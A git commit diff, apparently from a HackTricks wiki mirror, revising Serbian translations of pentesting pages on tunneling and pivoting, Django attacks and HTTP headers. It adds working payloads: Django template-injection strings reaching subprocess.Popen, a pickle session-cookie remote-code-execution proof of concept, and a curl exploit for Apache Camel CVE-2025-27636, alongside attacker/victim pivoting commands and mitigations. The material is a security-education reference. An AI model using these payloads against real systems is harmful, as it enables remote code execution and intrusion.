mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
7d47fcc56d
commit
28e4f41fe6
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Bezbednost – Terrapin napad (CVE-2023-48795)**
|
||||
> Napad na downgrade Terrapin iz 2023. može omogućiti napadaču u sredini da manipuliše ranim SSH rukovanjem i ubaci podatke u **bilo koji prosleđeni kanal** ( `-L`, `-R`, `-D` ). Osigurajte da su i klijent i server zakrpljeni (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ili eksplicitno onemogućite ranjive `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` algoritme u `sshd_config`/`ssh_config` pre nego što se oslonite na SSH tunele. citeturn4search0
|
||||
> Napad na downgrade Terrapin iz 2023. može omogućiti napadaču u sredini da manipuliše ranim SSH rukovanjem i ubaci podatke u **bilo koji prosleđeni kanal** ( `-L`, `-R`, `-D` ). Osigurajte da su i klijent i server zakrpljeni (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ili eksplicitno onemogućite ranjive `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` algoritme u `sshd_config`/`ssh_config` pre nego što se oslonite na SSH tuneli.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -179,7 +179,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
## Chisel
|
||||
|
||||
Možete ga preuzeti sa stranice za izdanja [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Morate koristiti **istu verziju za klijent i server**
|
||||
Morate koristiti **istu verziju za klijenta i server**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivot kroz **NTLM proxy**
|
||||
Pivotiranje kroz **NTLM proxy**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -370,7 +370,7 @@ netstat -antb | findstr 1080
|
||||
```
|
||||
Sada možete koristiti [**Proxifier**](https://www.proxifier.com/) **da proksirate saobraćaj kroz tu port.**
|
||||
|
||||
## Proksirajte Windows GUI aplikacije
|
||||
## Proksiranje Windows GUI aplikacija
|
||||
|
||||
Možete naterati Windows GUI aplikacije da prolaze kroz proksi koristeći [**Proxifier**](https://www.proxifier.com/).\
|
||||
U **Profile -> Proxy Servers** dodajte IP adresu i port SOCKS servera.\
|
||||
@ -379,7 +379,7 @@ U **Profile -> Proxification Rules** dodajte ime programa koji želite da proksi
|
||||
## NTLM proksi zaobilaženje
|
||||
|
||||
Prethodno pomenuti alat: **Rpivot**\
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljajući ove opcije u konfiguracionom fajlu:
|
||||
**OpenVPN** takođe može da ga zaobiđe, postavljanjem ovih opcija u konfiguracionom fajlu:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
```
|
||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru preko ovog porta.\
|
||||
Ovaj alat se autentifikuje protiv proksija i vezuje lokalni port koji se prosleđuje eksternoj usluzi koju odredite. Zatim možete koristiti alat po vašem izboru kroz ovaj port.\
|
||||
Na primer, prosledite port 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -446,13 +446,13 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Promena DNS u proxychains
|
||||
|
||||
Proxychains presreće `gethostbyname` libc poziv i tuneluje tcp DNS zahtev kroz socks proxy. Po **defaultu** DNS server koji proxychains koristi je **4.2.2.2** (hardkodiran). Da biste ga promenili, uredite datoteku: _/usr/lib/proxychains3/proxyresolv_ i promenite IP. Ako ste u **Windows okruženju**, možete postaviti IP **domen kontrolera**.
|
||||
Proxychains presreće `gethostbyname` libc poziv i tuneluje tcp DNS zahtev kroz socks proxy. Po **definiciji**, **DNS** server koji proxychains koristi je **4.2.2.2** (hardkodiran). Da biste ga promenili, uredite datoteku: _/usr/lib/proxychains3/proxyresolv_ i promenite IP. Ako ste u **Windows okruženju**, možete postaviti IP **domen kontrolera**.
|
||||
|
||||
## Tunneli u Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## ICMP Tunneling
|
||||
## ICMP Tunelovanje
|
||||
|
||||
### Hans
|
||||
|
||||
@ -549,7 +549,7 @@ addr: file:///tmp/httpbin/
|
||||
|
||||
Cloudflare-ov `cloudflared` daemon može da kreira izlazne tunele koji izlažu **lokalne TCP/UDP usluge** bez potrebe za ulaznim pravilima vatrozida, koristeći Cloudflare-ovu ivicu kao mesto susreta. Ovo je veoma korisno kada izlazni vatrozid dozvoljava samo HTTPS saobraćaj, dok su ulazne konekcije blokirane.
|
||||
|
||||
### Brza komanda za tunel
|
||||
### Quick tunnel one-liner
|
||||
```bash
|
||||
# Expose a local web service listening on 8080
|
||||
cloudflared tunnel --url http://localhost:8080
|
||||
@ -574,7 +574,7 @@ Pokrenite konektor:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Zbog toga što sav saobraćaj napušta host **izlazno preko 443**, Cloudflared tuneli su jednostavan način da se zaobiđu ulazni ACL-ovi ili NAT granice. Budite svesni da se binarni fajl obično pokreće sa povišenim privilegijama – koristite kontejnere ili `--user` flag kada je to moguće. citeturn1search0
|
||||
Zbog toga što sav saobraćaj napušta host **izlazno preko 443**, Cloudflared tuneli su jednostavan način da se zaobiđu ulazni ACL-ovi ili NAT granice. Budite svesni da se binarni fajl obično pokreće sa povišenim privilegijama – koristite kontejnere ili `--user` flag kada je to moguće.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Gore navedena komanda objavljuje port žrtve **8080** kao **attacker_ip:9000** bez implementacije dodatnih alata – idealno za living-off-the-land pivoting. citeturn2search1
|
||||
Gore navedena komanda objavljuje port žrtve **8080** kao **attacker_ip:9000** bez implementacije dodatnih alata – idealno za pivotiranje koristeći resurse na terenu.
|
||||
|
||||
## Ostali alati za proveru
|
||||
|
||||
|
@ -5,8 +5,75 @@
|
||||
## Manipulacija kešom za RCE
|
||||
Podrazumevani metod skladištenja keša u Djangou je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [nepouzdani ulaz de-pikluje](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za pisanje u keš, može eskalirati ovu ranjivost na RCE na osnovnom serveru**.
|
||||
|
||||
Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji vektori napada (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti u Redis serveru ili bazi podataka su najverovatniji vektori napada (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
|
||||
Ovaj HackerOne izveštaj pruža odličan, reproduktivni primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436
|
||||
Ovaj HackerOne izveštaj pruža odličan, ponovljiv primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Injekcija šablona na serverskoj strani (SSTI)
|
||||
Django Template Language (DTL) je **Turing-kompletan**. Ako se podaci koje je dostavio korisnik renderuju kao *šablonski string* (na primer, pozivanjem `Template(user_input).render()` ili kada `|safe`/`format_html()` uklanja automatsko eskapiranje), napadač može postići pun SSTI → RCE.
|
||||
|
||||
### Detekcija
|
||||
1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koje* nefiltrirane podatke iz zahteva.
|
||||
2. Pošaljite payload zasnovan na vremenu ili aritmetici:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Ako renderovani izlaz sadrži `49`, ulaz se kompajlira od strane šablonskog engine-a.
|
||||
|
||||
### Primitiv do RCE
|
||||
Django blokira direktan pristup `__import__`, ali je Python objekat graf dostupan:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python verzije) i izvršite proizvoljne komande:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
|
||||
|
||||
Isti uređaj funkcioniše za **Debug Toolbar** ili **Django-CMS** funkcije renderovanja šablona koje pogrešno obrađuju korisnički unos.
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili prilagođeni serializer koji deserializuje pickle), Django *dekriptuje i unpickles* kolačić sesije **pre** nego što pozove bilo koji kod prikaza. Stoga, posedovanje važećeg ključa za potpisivanje (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu daljinsku izvršavanje koda.
|
||||
|
||||
### Exploit Requirements
|
||||
* Server koristi `PickleSerializer`.
|
||||
* Napadač zna / može da pogodi `settings.SECRET_KEY` (curenja putem GitHub-a, `.env`, stranica sa greškama, itd.).
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
Pošaljite rezultantni kolačić, a payload se izvršava sa dozvolama WSGI radnika.
|
||||
|
||||
**Mere zaštite**: Održavajte podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Nedavne (2023-2025) visoko uticajne Django CVE koje bi pentesteri trebali proveriti
|
||||
* **CVE-2025-48432** – *Log Injection putem neizbeženog `request.path`* (ispravljeno 4. juna 2025). Omogućava napadačima da prokrijumčare nove linije/ANSI kodove u log fajlove i otrovaju analizu logova nizvodno. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kritična SQL injekcija* u `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Kreirajte JSON ključeve da biste izašli iz navodnika i izvršili proizvoljan SQL. Ispravljeno u 4.2.15 / 5.0.8.
|
||||
|
||||
Uvek identifikujte tačnu verziju okvira putem `X-Frame-Options` stranice sa greškom ili `/static/admin/css/base.css` hash-a i testirajte navedeno gde je primenljivo.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
* Django bezbednosno izdanje – "Django 5.2.2, 5.1.10, 4.2.22 rešava CVE-2025-48432" – 4. jun 2025.
|
||||
* OP-Innovate: "Django objavljuje bezbednosne ažuriranja za rešavanje SQL injekcije CVE-2024-42005" – 11. avgust 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -35,7 +35,7 @@ Prepiši **lokaciju**:
|
||||
|
||||
## Hop-by-Hop zaglavlja
|
||||
|
||||
Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzumirano od strane proksija koji trenutno obrađuje zahtev, za razliku od zaglavlja od kraja do kraja.
|
||||
Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzumirano od strane proksija koji trenutno obrađuje zahtev, za razliku od zaglavlja end-to-end.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -54,20 +54,20 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
|
||||
## Cache zaglavlja
|
||||
|
||||
**Zaglavlja keš servera**:
|
||||
**Zaglavlja servera za keširanje**:
|
||||
|
||||
- **`X-Cache`** u odgovoru može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan
|
||||
- Slična ponašanja u zaglavlju **`Cf-Cache-Status`**
|
||||
- Slično ponašanje u zaglavlju **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** označava da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** se često koristi u odgovoru da **označi dodatna zaglavlja** koja se tretiraju kao **deo keš ključa** čak i ako su obično neključevi.
|
||||
- **`Age`** definiše vreme u sekundama koliko je objekat bio u kešu proksija.
|
||||
- **`Age`** definiše vreme u sekundama koliko je objekat bio u proksi kešu.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** takođe označava da je resurs keširan
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Zaglavlja lokalnog keša**:
|
||||
**Lokalna keš zaglavlja**:
|
||||
|
||||
- `Clear-Site-Data`: Zaglavlje koje označava keš koji treba ukloniti: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Sadrži datum/vreme kada odgovor treba da istekne: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
@ -83,8 +83,8 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
## Zahtevi opsega
|
||||
|
||||
- **`Accept-Ranges`**: Označava da li server podržava zahteve opsega, i ako da, u kojoj jedinici se opseg može izraziti. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Označava deo dokumenta koji server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove od 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe zapamti da ukloniš zaglavlje `Accept-Encoding` iz zahteva.
|
||||
- Ovo može biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev.
|
||||
- **`Range`**: Označava deo dokumenta koji server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe zapamti da ukloniš zaglavlje `Accept-Encoding` iz zahteva.
|
||||
- Ovo bi moglo biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev.
|
||||
- **`If-Range`**: Kreira uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa.
|
||||
- **`Content-Range`**: Označava gde u punom telu poruke pripada delimična poruka.
|
||||
|
||||
@ -160,7 +160,7 @@ X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP je ključan za određivanje koje resurse mogu učitati veb sajtovi, smanjujući curenje između sajtova. CORS, s druge strane, omogućava fleksibilniji mehanizam deljenja resursa između različitih izvora, opuštajući politiku istog izvora pod određenim uslovima.
|
||||
CORP je ključan za određivanje koje resurse mogu učitati veb sajtovi, smanjujući cross-site leak-ove. CORS, s druge strane, omogućava fleksibilniji mehanizam deljenja resursa između različitih izvora, opuštajući politiku istog izvora pod određenim uslovima.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
@ -179,8 +179,44 @@ Na kraju, HSTS je bezbednosna funkcija koja prisiljava pretraživače da komunic
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 definiše imena polja zaglavlja kao **neosetljiva na velika i mala slova** (RFC 9110 §5.1). Ipak, veoma je uobičajeno pronaći prilagođeni middleware, sigurnosne filtre ili poslovnu logiku koja upoređuje *doslovno* ime zaglavlja koje je primljeno bez prethodne normalizacije velikih i malih slova (npr. `header.equals("CamelExecCommandExecutable")`). Ako se te provere vrše **osetljivo na velika i mala slova**, napadač može da ih zaobiđe jednostavno slanjem istog zaglavlja sa drugačijom kapitalizacijom.
|
||||
|
||||
Tipične situacije u kojima se ova greška pojavljuje:
|
||||
|
||||
* Prilagođene liste dozvoljenih/zakonitih koje pokušavaju da blokiraju "opasna" interna zaglavlja pre nego što zahtev stigne do osetljive komponente.
|
||||
* Interna implementacija reverznih proxy pseudo-zaglavlja (npr. `X-Forwarded-For` sanitizacija).
|
||||
* Okviri koji izlažu upravljačke / debag endpointe i oslanjaju se na imena zaglavlja za autentifikaciju ili izbor komandi.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Identifikujte zaglavlje koje se filtrira ili validira na serverskoj strani (na primer, čitanjem izvornog koda, dokumentacije ili poruka o grešci).
|
||||
2. Pošaljite **isto zaglavlje sa drugačijom kapitalizacijom** (mešovita ili velika slova). Pošto HTTP stekovi obično kanonizuju zaglavlja samo *nakon* što je korisnički kod izvršen, ranjiva provera može biti preskočena.
|
||||
3. Ako donja komponenta tretira zaglavlja na način koji nije osetljiv na velika i mala slova (većina to radi), prihvatiće vrednost koju kontroliše napadač.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
U ranjivim verzijama Apache Camel *Command Center* rute pokušavaju da blokiraju nepouzdane zahteve uklanjanjem zaglavlja `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Upoređivanje je izvršeno sa `equals()`, tako da su samo tačno mala imena uklonjena.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Zaglavlja dolaze do `exec` komponente nefiltrirana, što rezultira daljinskim izvršavanjem komandi sa privilegijama Camel procesa.
|
||||
|
||||
### Detekcija i ublažavanje
|
||||
|
||||
* Normalizujte sva imena zaglavlja na jedan oblik (obično mala slova) **pre** nego što izvršite poređenja dozvola/odbijanja.
|
||||
* Odbacite sumnjive duplikate: ako su prisutni i `Header:` i `HeAdEr:`, tretirajte to kao anomaliju.
|
||||
* Koristite pozitivnu dozvoljenu listu koja se primenjuje **posle** kanonizacije.
|
||||
* Zaštitite upravljačke krajnje tačke autentifikacijom i mrežnom segmentacijom.
|
||||
|
||||
|
||||
## Reference
|
||||
|
||||
- [CVE-2025-27636 – RCE u Apache Camel putem zaobilaženja velikih i malih slova zaglavlja (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user